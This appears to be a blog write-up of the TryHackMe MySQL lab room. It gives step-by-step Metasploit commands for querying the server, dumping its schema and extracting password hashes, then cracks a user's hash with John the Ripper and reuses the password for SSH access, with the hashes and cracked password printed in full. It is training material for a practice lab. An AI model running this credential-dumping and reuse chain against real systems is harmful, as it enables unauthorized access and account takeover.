> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Network Services 2 (MySQL) Writeup - URL: https://taiwanding.com/en/tryhackme-network-services-2-mysql-writeup/ - Published: 2025-10-26T06:36:18.000Z - Updated: 2026-08-10T10:22:13.000Z - Author: Kevin Chen - Tags: #en, #en-machine ๐Ÿ“š Series ยท TryHackMe Network Services 1. [Part 1: SMB](https://taiwanding.com/en/tryhackme-network-services-smb-writeup-2/) 2. [Part 2: SMTP](https://taiwanding.com/en/tryhackme-network-services-2-smtp-writeup/) 3. โ–ธ Part 2: MySQL (this post) **Overview**: This room demonstrates how to enumerate and exploit a MySQL service to gain access to the system. ## ๐Ÿ“‹ Target Info - Target IP: `10.201.5.x.x` - Service: MySQL - Goal: Gain system access through MySQL credential reuse ## 1\. Testing the Credentials The challenge hands us a set of test credentials (simulating credentials obtained from another service): - User: `root` - Password: `password` ### Manual connection test ```bash mysql -h 10.201.5.209 -u root -p # enter password: password ``` โœ… Connected! The credentials are valid. ```bash mysql> exit ``` ## 2\. Using the Metasploit mysql\_sql Module ### Launch Metasploit ```bash msfconsole ``` ### Configure the module ```bash msf6 > search mysql_sql msf6 > use auxiliary/admin/mysql/mysql_sql msf6 auxiliary(admin/mysql/mysql_sql) > show options ``` **The three options you need to set:** - `PASSWORD` - `RHOSTS` - `USERNAME` ```bash msf6 auxiliary(admin/mysql/mysql_sql) > set PASSWORD password msf6 auxiliary(admin/mysql/mysql_sql) > set RHOSTS 10.201.5.209 msf6 auxiliary(admin/mysql/mysql_sql) > set USERNAME root ``` ## 3\. Running SQL Queries ### Testing the default command (query the version) ```bash msf6 auxiliary(admin/mysql/mysql_sql) > run ``` **Result:** ``` [*] 10.201.5.209:3306 - | 8.0.42-0ubuntu0.20.04.1 | ``` MySQL version: **8.0.42-0ubuntu0.20.04.1** ### List all databases ```bash msf6 auxiliary(admin/mysql/mysql_sql) > set SQL show databases msf6 auxiliary(admin/mysql/mysql_sql) > run ``` **Result:** **4** databases in total ``` information_schema mysql performance_schema sys ``` ## 4\. Schema Dump ### Using the mysql\_schemadump module ```bash msf6 > use auxiliary/scanner/mysql/mysql_schemadump ``` **Full module name:** `auxiliary/scanner/mysql/mysql_schemadump` ### Set options and run ```bash msf6 auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root msf6 auxiliary(scanner/mysql/mysql_schemadump) > set PASSWORD password msf6 auxiliary(scanner/mysql/mysql_schemadump) > set RHOSTS 10.201.5.209 msf6 auxiliary(scanner/mysql/mysql_schemadump) > run ``` **The last table dumped:** `x$waits_global_by_latency` ## 5\. Extracting the Password Hashes ### Using the mysql\_hashdump module ```bash msf6 > use auxiliary/scanner/mysql/mysql_hashdump ``` **Full module name:** `auxiliary/scanner/mysql/mysql_hashdump` ### Set options and run ```bash msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root msf6 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD password msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 10.201.5.209 msf6 auxiliary(scanner/mysql/mysql_hashdump) > run ``` **Extraction result:** ``` [+] root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 [+] carl:*EA031893AA21444B170FC2162A56978B8CEECE18 โฌ…๏ธ non-default user! [+] debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E [+] mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED [+] mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] root: ``` **Non-default user:** `carl` ## 6\. Cracking the Password Hash ### Save the hash to a file ```bash echo "carl:*EA031893AA21444B170FC2162A56978B8CEECE18" > hash.txt ``` **The user/hash string:** `carl:*EA031893AA21444B170FC2162A56978B8CEECE18` ### Cracking with John the Ripper ```bash john hash.txt ``` **Crack result:** ``` doggie (carl) 1g 0:00:00:00 DONE 3/3 ``` โœ… Password cracked: **doggie** ## 7\. Credential Reuse Attack ### Try logging in over SSH ```bash ssh carl@10.201.5.209 # password: doggie ``` โœ… SSH login successful! ``` Welcome to Ubuntu 20.04.6 LTS carl@ip-10-201-5-209:~$ ``` ## 8\. Grabbing the Flag ```bash carl@ip-10-201-5-209:~$ ls MySQL.txt carl@ip-10-201-5-209:~$ cat MySQL.txt THM{Redacted} ``` ## Key Takeaways - โœ… MySQL Client - manual connection test - โœ… Metasploit `mysql_sql` \- running SQL queries - โœ… Metasploit `mysql_schemadump` \- dumping the database schema - โœ… Metasploit `mysql_hashdump` \- extracting password hashes - โœ… John the Ripper - cracking the MySQL password hash - โœ… Credential reuse - the MySQL password worked for SSH login ## Lessons Learned When working in Metasploit, you can use `search` to find the relevant modules, for example: `search mysql_hashdump` ```bash msf6 auxiliary(scanner/mysql/mysql_schemadump) > search mysql_hashdump Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/mysql/mysql_hashdump . normal No MYSQL Password Hashdump 1 auxiliary/analyze/crack_databases . normal No Password Cracker: Databases 2 \_ action: hashcat . . . Use Hashcat 3 \_ action: john . . . Use John the Ripper Interact with a module by name or index. For example info 3, use 3 or use auxiliary/analyze/crack_databases After interacting with a module you can manually set a ACTION with set ACTION 'john' ``` To use one, run `use`, for example: `use auxiliary/scanner/mysql/mysql_hashdump`, then check its usage with `options`, like so: ```bash msf6 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf6 auxiliary(scanner/mysql/mysql_hashdump) > options Module options (auxiliary/scanner/mysql/mysql_hashdump): Used when connecting via an existing SESSION: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION no The session to run this module on Used when making a new connection via RHOSTS: Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta sploit.html RPORT 3306 no The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host) USERNAME no The username to authenticate as View the full module info with the info, or info -d command. ``` Finally, set the relevant parameters for each module and launch the attack with `run`. ```bash msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root USERNAME => root msf6 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD password PASSWORD => password msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 10.201.5.209 RHOSTS => 10.201.5.209 msf6 auxiliary(scanner/mysql/mysql_hashdump) > run [+] 10.201.5.209:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 [+] 10.201.5.209:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18 [+] 10.201.5.209:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E [+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED [+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] 10.201.5.209:3306 - Saving HashString as Loot: root: [*] 10.201.5.209:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ```